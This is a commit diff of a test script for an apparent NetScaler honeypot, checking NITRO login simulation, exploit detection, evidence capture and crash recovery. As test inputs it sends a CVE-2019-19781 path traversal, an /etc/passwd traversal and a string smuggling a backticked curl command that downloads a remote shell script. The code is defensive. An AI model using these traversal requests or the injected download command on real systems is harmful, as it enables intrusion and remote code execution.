Expand capture-only NetScaler NITRO simulation and crash recovery
This commit is contained in:
1 parent
7b99db9e25
commit
c65f049223
10 files changed
+2097
-19
No files matched your search
+47
-1
@@ -5,6 +5,9 @@ import json
|
||||
import pathlib
|
||||
import tempfile
|
||||
import threading
|
||||
import subprocess
|
||||
import sys
|
||||
from unittest.mock import patch
|
||||
|
||||
from honeypot import Engine, Server, extract
|
||||
from evidence import Evidence
|
||||
@@ -33,6 +36,12 @@ def main():
|
||||
return result
|
||||
|
||||
try:
|
||||
status, response = request('POST', '/nitro/v1/config/login', b'{"login":{"username":"capture-check","password":"inert"}}',
|
||||
{'Content-Type': 'application/json'})
|
||||
assert status == 201 and json.loads(response)['login'][0]['sessionid']
|
||||
auth = {'Cookie': 'NITRO_AUTH_TOKEN=' + json.loads(response)['sessionid']}
|
||||
assert json.loads(request('GET', '/nitro/v1/stat/system', headers=auth)[1])['system'][0]['cpuusage'] == 2
|
||||
assert engine.backend is None and engine.fetcher is None
|
||||
request('GET', '/vpn/../vpns/cfg/smb.conf')
|
||||
assert any(e['event'] == 'exploit_attempt' and 'CVE-2019-19781' in e['signatures'] for e in rows)
|
||||
request('GET', '/../../etc/passwd')
|
||||
@@ -44,7 +53,7 @@ def main():
|
||||
request('PUT', '/dropper.bin', payload, {'Content-Type': 'application/octet-stream'})
|
||||
digest = hashlib.sha256(payload).hexdigest()
|
||||
assert (pathlib.Path(workspace.name) / 'artifacts' / (digest + '.bin')).read_bytes() == payload
|
||||
upload = next(e for e in rows if e['event'] == 'upload_or_raw_payload')
|
||||
upload = next(e for e in rows if e['event'] == 'upload_or_raw_payload' and e['evidence']['sha256'] == digest)
|
||||
assert upload['evidence'] == {'sha256': digest, 'bytes': len(payload), 'artifact': 'artifacts/' + digest + '.bin'}
|
||||
|
||||
assert extract('pitboss PPE unexpectedly died NSPPE;:`curl http://198.51.100.9/a.sh -o /tmp/a`;# X') \
|
||||
@@ -62,6 +71,43 @@ def main():
|
||||
kinds = {e['event'] for e in journal}
|
||||
assert {'exploit_attempt', 'upload_or_raw_payload', 'request_body', 'injection_candidate',
|
||||
'simulated_command', 'virtual_file_write'} <= kinds
|
||||
# Interrupted writes never publish a partial file under a full-content hash.
|
||||
with patch('evidence.os.fsync', side_effect=OSError('simulated disk failure')):
|
||||
try:
|
||||
evidence.save(b'interrupted-file')
|
||||
raise AssertionError('storage failure was ignored')
|
||||
except OSError:
|
||||
pass
|
||||
assert not (evidence.artifacts / (hashlib.sha256(b'interrupted-file').hexdigest() + '.bin')).exists()
|
||||
assert not list(evidence.artifacts.glob('.capture-*'))
|
||||
interrupted = pathlib.Path(workspace.name) / 'interrupted-journal'
|
||||
interrupted.mkdir()
|
||||
(interrupted / 'events.jsonl').write_bytes(b'{"interrupted":')
|
||||
repaired = Evidence(interrupted)
|
||||
try:
|
||||
repaired.emit('after_restart')
|
||||
lines = (interrupted / 'events.jsonl').read_bytes().splitlines()
|
||||
assert lines[0] == b'{"interrupted":'
|
||||
assert json.loads(lines[1])['event'] == 'after_restart'
|
||||
finally:
|
||||
repaired.close()
|
||||
# A capture failure survives process restart and cannot be bypassed by systemd.
|
||||
server.stop_capture(OSError('simulated quota exhaustion'))
|
||||
assert (evidence.directory / 'STOP').exists()
|
||||
result = subprocess.run([sys.executable, str(pathlib.Path(__file__).parent / 'honeypot.py'),
|
||||
'--log-dir', workspace.name, '--port', '0'], capture_output=True, timeout=5)
|
||||
assert result.returncode == 78 and b'STOP latch' in result.stderr
|
||||
full = pathlib.Path(workspace.name) / 'full-at-start'
|
||||
store = Evidence(full, quota=1024*1024)
|
||||
store.save(b'x'*(1024*1024))
|
||||
store.close()
|
||||
result = subprocess.run([sys.executable, str(pathlib.Path(__file__).parent / 'honeypot.py'),
|
||||
'--simulation-only', '--log-dir', str(full), '--evidence-mib', '1', '--port', '0'],
|
||||
capture_output=True, timeout=5)
|
||||
assert result.returncode == 78 and (full / 'STOP').exists()
|
||||
result = subprocess.run([sys.executable, str(pathlib.Path(__file__).parent / 'honeypot.py'),
|
||||
'--simulation-only', '--fetch-payloads'], capture_output=True, timeout=5)
|
||||
assert result.returncode == 2
|
||||
finally:
|
||||
server.shutdown()
|
||||
server.server_close()
|
||||
|
||||
Reference in new issue
Block a user